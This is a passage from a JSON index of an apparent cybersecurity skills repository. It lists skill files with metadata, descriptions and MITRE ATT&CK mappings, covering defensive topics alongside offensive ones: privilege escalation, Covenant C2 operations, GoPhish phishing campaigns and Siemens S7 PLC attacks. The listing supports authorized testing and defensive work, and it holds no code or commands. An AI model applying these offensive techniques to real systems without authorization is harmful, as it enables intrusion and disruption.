tampering.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","firmware-analysis","plc-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"]},"isInternal":false,"tokens":4254,"sizeBytes":19566},{"name":"api-reference.md","path":"skills/performing-post-quantum-cryptography-migration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-post-quantum-cryptography-migration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-post-quantum-cryptography-migration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2550,"sizeBytes":8824},{"name":"SKILL.md","path":"skills/performing-post-quantum-cryptography-migration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-post-quantum-cryptography-migration/SKILL.md","title":"performing-post-quantum-cryptography-migration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-post-quantum-cryptography-migration%2FSKILL.md -->","frontmatter":{"name":"performing-post-quantum-cryptography-migration","description":"Assesses organizational readiness for post-quantum cryptography migration per NIST FIPS 203/204/205 standards. Performs cryptographic inventory scanning to identify quantum-vulnerable algorithms (RSA, ECDH, ECDSA), evaluates hybrid TLS configurations with X25519MLKEM768, and validates CRYSTALS-Kyber (ML-KEM) and CRYSTALS-Dilithium (ML-DSA) readiness. Implements crypto-agility assessment using oqs-provider for OpenSSL. Use when planning or executing the transition from classical to post-quantum cryptographic algorithms across enterprise infrastructure.\n","domain":"cybersecurity","subdomain":"cryptography","tags":["post-quantum","PQC","CRYSTALS-Kyber","ML-KEM","ML-DSA","FIPS-203","FIPS-204","hybrid-TLS","crypto-agility"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1040"]},"isInternal":false,"tokens":3281,"sizeBytes":12712},{"name":"api-reference.md","path":"skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-power-grid-cybersecurity-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":359,"sizeBytes":1432},{"name":"SKILL.md","path":"skills/performing-power-grid-cybersecurity-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-power-grid-cybersecurity-assessment/SKILL.md","title":"performing-power-grid-cybersecurity-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-power-grid-cybersecurity-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-power-grid-cybersecurity-assessment","description":"Conduct cybersecurity assessments of power grid infrastructure spanning generation, transmission substations, distribution, and EMS control centers, covering NERC CIP compliance verification, IEC 61850 (GOOSE/MMS) substation protocol analysis, and synchrophasor (PMU) network security against threats like Industroyer/CrashOverride. Use for periodic NERC CIP assessments, substation automation or EMS/SCADA security reviews, or regional entity compliance audits; not for non-BES systems or generic OT assessments without power grid specifics.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","nerc-cip","power-grid","substation"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":2737,"sizeBytes":12072},{"name":"api-reference.md","path":"skills/performing-privacy-impact-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privacy-impact-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privacy-impact-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1882,"sizeBytes":7597},{"name":"SKILL.md","path":"skills/performing-privacy-impact-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privacy-impact-assessment/SKILL.md","title":"performing-privacy-impact-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privacy-impact-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-privacy-impact-assessment","description":"Automates the Privacy Impact Assessment (PIA) workflow including data flow mapping, privacy risk scoring matrices, GDPR Article 35 DPIA and CCPA/CPRA alignment checks, data inventory cataloging, and remediation tracking. Implements the NIST Privacy Framework PRAM methodology and ICO DPIA guidance for systematic identification and mitigation of privacy risks across processing activities. Use when conducting privacy assessments for new systems, evaluating regulatory compliance posture, or building automated privacy governance programs.\n","domain":"cybersecurity","subdomain":"privacy-compliance","tags":["privacy","impact-assessment","GDPR","CCPA","NIST","DPIA","data-flow-mapping","risk-scoring"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["GV.PO-01","PR.DS-01","GV.OC-05"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":2368,"sizeBytes":10539},{"name":"api-reference.md","path":"skills/performing-privilege-escalation-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":498,"sizeBytes":1865},{"name":"SKILL.md","path":"skills/performing-privilege-escalation-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-assessment/SKILL.md","title":"performing-privilege-escalation-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-privilege-escalation-assessment","description":"Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["privilege-escalation","post-exploitation","Linux-privesc","Windows-privesc","local-exploitation"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Password Authentication"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":3014,"sizeBytes":12704},{"name":"api-reference.md","path":"skills/performing-privilege-escalation-on-linux/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-on-linux/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":463,"sizeBytes":1837},{"name":"standards.md","path":"skills/performing-privilege-escalation-on-linux/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-on-linux/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":402,"sizeBytes":1223},{"name":"workflows.md","path":"skills/performing-privilege-escalation-on-linux/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-on-linux/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1042,"sizeBytes":3292},{"name":"SKILL.md","path":"skills/performing-privilege-escalation-on-linux/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privilege-escalation-on-linux/SKILL.md","title":"performing-privilege-escalation-on-linux","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2FSKILL.md -->","frontmatter":{"name":"performing-privilege-escalation-on-linux","description":"Guides manual enumeration and automated tooling to escalate from a low-privilege Linux user to root by exploiting misconfigurations, vulnerable services, kernel exploits, and weak permissions, mapped to MITRE ATT&CK. Use during authorized red team engagements or penetration tests once initial low-privilege access on a Linux host is obtained and root-level access is needed.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-simulation","mitre-attack","exploitation","post-exploitation","privilege-escalation","linux"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Object","Network Traffic Policy Mapping","Restore Configuration","Access Modeling","Operational Activity Mapping"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":1011,"sizeBytes":4205},{"name":"template.md","path":"skills/performing-privileged-account-access-review/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-access-review/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":432,"sizeBytes":1695},{"name":"api-reference.md","path":"skills/performing-privileged-account-access-review/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-access-review/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":587,"sizeBytes":2403},{"name":"standards.md","path":"skills/performing-privileged-account-access-review/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-access-review/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":541,"sizeBytes":2249},{"name":"workflows.md","path":"skills/performing-privileged-account-access-review/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-access-review/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":722,"sizeBytes":3543},{"name":"SKILL.md","path":"skills/performing-privileged-account-access-review/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-access-review/SKILL.md","title":"performing-privileged-account-access-review","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2FSKILL.md -->","frontmatter":{"name":"performing-privileged-account-access-review","description":"Conducts systematic reviews of privileged accounts to validate access rights, identify excessive or stale permissions, and enforce least privilege across PAM infrastructure. Use when auditing privileged access for compliance, periodic access recertification, or investigating whether privileged entitlements are still justified.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["pam","access-review","privileged-accounts","least-privilege","compliance","audit","identity-governance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"]},"isInternal":false,"tokens":1645,"sizeBytes":7995},{"name":"api-reference.md","path":"skills/performing-privileged-account-discovery/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-discovery/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-discovery%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":554,"sizeBytes":1978},{"name":"SKILL.md","path":"skills/performing-privileged-account-discovery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-privileged-account-discovery/SKILL.md","title":"performing-privileged-account-discovery","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-discovery%2FSKILL.md -->","frontmatter":{"name":"performing-privileged-account-discovery","description":"Discovers and inventories privileged accounts across enterprise infrastructure, including domain admins, local admins, service accounts, database admins, cloud IAM roles, and application admin accounts, using automated scanning and risk classification. Use when building a privileged account inventory, onboarding accounts to a PAM solution, or scoping which accounts need privileged-access controls.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","privileged-access","discovery","inventory"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1078.004"]},"isInternal":false,"tokens":542,"sizeBytes":2625},{"name":"api-reference.md","path":"skills/performing-purple-team-atomic-testing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-purple-team-atomic-testing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-atomic-testing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2130,"sizeBytes":8255},{"name":"SKILL.md","path":"skills/performing-purple-team-atomic-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-purple-team-atomic-testing/SKILL.md","title":"performing-purple-team-atomic-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-atomic-testing%2FSKILL.md -->","frontmatter":{"name":"performing-purple-team-atomic-testing","description":"Executes Atomic Red Team tests mapped to MITRE ATT&CK via Invoke-AtomicRedTeam PowerShell, generates ATT&CK Navigator coverage heatmaps, correlates results against Sigma rules, and runs detection validation loops to measure blue team visibility. Use for purple team exercises, atomic test execution, ATT&CK coverage assessment, or detection engineering validation.\n","domain":"cybersecurity","subdomain":"purple-team","tags":["purple-team","atomic-red-team","mitre-attack","detection-engineering","adversary-emulation"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["ID.RA-01","DE.AE-07","GV.OV-02"],"mitre_attack":["T1078","T1190","T1059"]},"isInternal":false,"tokens":10005,"sizeBytes":40641},{"name":"api-reference.md","path":"skills/performing-purple-team-exercise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-purple-team-exercise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-exercise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":460,"sizeBytes":1681},{"name":"SKILL.md","path":"skills/performing-purple-team-exercise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-purple-team-exercise/SKILL.md","title":"performing-purple-team-exercise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-exercise%2FSKILL.md -->","frontmatter":{"name":"performing-purple-team-exercise","description":"Performs purple team exercises by coordinating red team adversary emulation with blue team detection validation using MITRE ATT&CK-mapped attack scenarios, real-time detection testing, and collaborative gap remediation. Use when SOC teams need to validate detection capabilities, improve analyst skills, and close detection gaps through structured offensive-defensive collaboration.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","purple-team","red-team","blue-team","mitre-attack","adversary-emulation","detection-validation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":3472,"sizeBytes":13278},{"name":"api-reference.md","path":"skills/performing-ransomware-response/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-response/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-response%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":517,"sizeBytes":2060},{"name":"SKILL.md","path":"skills/performing-ransomware-response/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-response/SKILL.md","title":"performing-ransomware-response","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-response%2FSKILL.md -->","frontmatter":{"name":"performing-ransomware-response","description":"Executes a structured ransomware incident response from detection through containment, forensic analysis, decryption assessment, recovery, and post-incident hardening, covering ransom negotiation, backup integrity verification, and regulatory notification. Use when actively responding to a ransomware outbreak or crypto-ransomware infection, or deciding on ransom payment and containment steps.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["ransomware","encryption-recovery","backup-restoration","ransom-negotiation","CISA-guidance"],"mitre_attack":["T1486","T1490","T1070","T1078","T1489"],"mitre_f3":{"version":"1.1","tactics":["monetization","stealth","initial-access"],"techniques":[{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1017","name":"Conversion to Physical Monetary Instruments","tactic":"monetization","source":"f3"},{"id":"F1025.003","name":"Electronic Funds Transfer: Wire Transfer","tactic":"monetization","source":"f3"},{"id":"T1070","name":"Indicator Removal","tactic":"stealth","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]},"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2665,"sizeBytes":11613},{"name":"template.md","path":"skills/performing-ransomware-tabletop-exercise/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-tabletop-exercise/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":588,"sizeBytes":2271},{"name":"api-reference.md","path":"skills/performing-ransomware-tabletop-exercise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-tabletop-exercise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":653,"sizeBytes":2618},{"name":"standards.md","path":"skills/performing-ransomware-tabletop-exercise/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-tabletop-exercise/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":523,"sizeBytes":2203},{"name":"workflows.md","path":"skills/performing-ransomware-tabletop-exercise/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-tabletop-exercise/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":839,"sizeBytes":3179},{"name":"SKILL.md","path":"skills/performing-ransomware-tabletop-exercise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ransomware-tabletop-exercise/SKILL.md","title":"performing-ransomware-tabletop-exercise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2FSKILL.md -->","frontmatter":{"name":"performing-ransomware-tabletop-exercise","description":"Plans and facilitates tabletop exercises simulating ransomware incidents, using realistic scenarios based on threat actors like LockBit and ALPHV/BlackCat with injects covering double extortion and backup destruction, then evaluates responses against NIST CSF and CISA guidelines. Use when planning or running a ransomware tabletop exercise or incident response readiness drill.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","incident-response","tabletop-exercise","defense","preparedness"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1486","T1490"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization"],"techniques":[{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":2522,"sizeBytes":11773},{"name":"api-reference.md","path":"skills/performing-red-team-phishing-with-gophish/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-red-team-phishing-with-gophish/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-phishing-with-gophish%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":446,"sizeBytes":1830},{"name":"SKILL.md","path":"skills/performing-red-team-phishing-with-gophish/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-red-team-phishing-with-gophish/SKILL.md","title":"performing-red-team-phishing-with-gophish","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-phishing-with-gophish%2FSKILL.md -->","frontmatter":{"name":"performing-red-team-phishing-with-gophish","description":"Automates GoPhish phishing simulation campaigns using the Python gophish library, creating email templates with tracking pixels, configuring SMTP sending profiles, building target groups from CSV, launching campaigns, and analyzing results such as open rates, click rates, and credential submission statistics. Use when running an authorized phishing simulation or security awareness assessment via GoPhish.","domain":"cybersecurity","subdomain":"security-operations","tags":["red-teaming","phishing-simulation","gophish","social-engineering","campaign-automation","security-awareness"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["resource-development","reconnaissance","initial-access"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":779,"sizeBytes":3170},{"name":"api-reference.md","path":"skills/performing-red-team-with-covenant/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-red-team-with-covenant/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-with-covenant%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":527,"sizeBytes":2142},{"name":"SKILL.md","path":"skills/performing-red-team-with-covenant/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-red-team-with-covenant/SKILL.md","title":"performing-red-team-with-covenant","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-red-team-with-covenant%2FSKILL.md -->","frontmatter":{"name":"performing-red-team-with-covenant","description":"Conducts red team operations using the Covenant C2 framework for authorized adversary simulation, covering listener setup, grunt deployment, task execution, and lateral movement tracking. Use when standing up or operating a Covenant command-and-control server for an authorized red team engagement.","domain":"cybersecurity","subdomain":"red-team","tags":["red-team","c2","covenant","adversary-simulation","penetration-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1021"]},"isInternal":false,"tokens":526,"sizeBytes":2416},{"name":"api-reference.md","path":"skills/performing-s7comm-protocol-security-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-s7comm-protocol-security-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-s7comm-protocol-security-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":667,"sizeBytes":2406},{"name":"SKILL.md","path":"skills/performing-s7comm-protocol-security-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-s7comm-protocol-security-analysis/SKILL.md","title":"performing-s7comm-protocol-security-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-s7comm-protocol-security-analysis%2FSKILL.md -->","frontmatter":{"name":"performing-s7comm-protocol-security-analysis","description":"Perform security analysis of Siemens S7comm and S7CommPlus protocols used by SIMATIC S7 PLCs to identify vulnerabilities including replay attacks, integrity bypass, unauthorized CPU stop commands, and program download manipulation exploiting weaknesses in S7-300, S7-400, S7-1200, and S7-1500 